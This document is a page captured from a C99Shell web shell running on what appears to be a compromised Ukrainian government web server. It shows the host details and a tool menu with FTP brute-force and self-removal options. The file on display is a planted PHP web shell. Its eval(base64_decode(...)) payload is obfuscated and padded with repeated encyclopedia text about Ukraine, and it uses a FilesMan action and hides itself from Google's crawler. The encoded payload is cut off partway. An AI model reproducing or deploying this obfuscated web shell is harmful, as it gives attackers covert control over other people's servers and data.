!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/old.zt-rada.gov.ua/data/regulatory/   drwxr-xr-x
Free 117.19 GB of 200.55 GB (58.43%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     doc70_rezult.phtml (1.01 MB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

$auth_pass 
"6a2d4b34a4677c96fe863c7c21831ccb"//admin
?>
<?php 
eval("?>".base64_decode("PD9waHAKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCiRjb2xvciA9ICIjZmZmIjsKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCiRkZWZhdWx0X2FjdGlvbiA9ICdGaWxlc01hbic7Ci8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwpAZGVmaW5lKCdTRUxGX1BBVEgnLCBfX0ZJTEVfXyk7CmlmKCBzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCdHb29nbGUnKSAhPT0gZmFsc2UgKSB7CgloZWFkZXIoJ0hUVFAvMS4wIDQwNCBOb3QgRm91bmQnKTsKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQ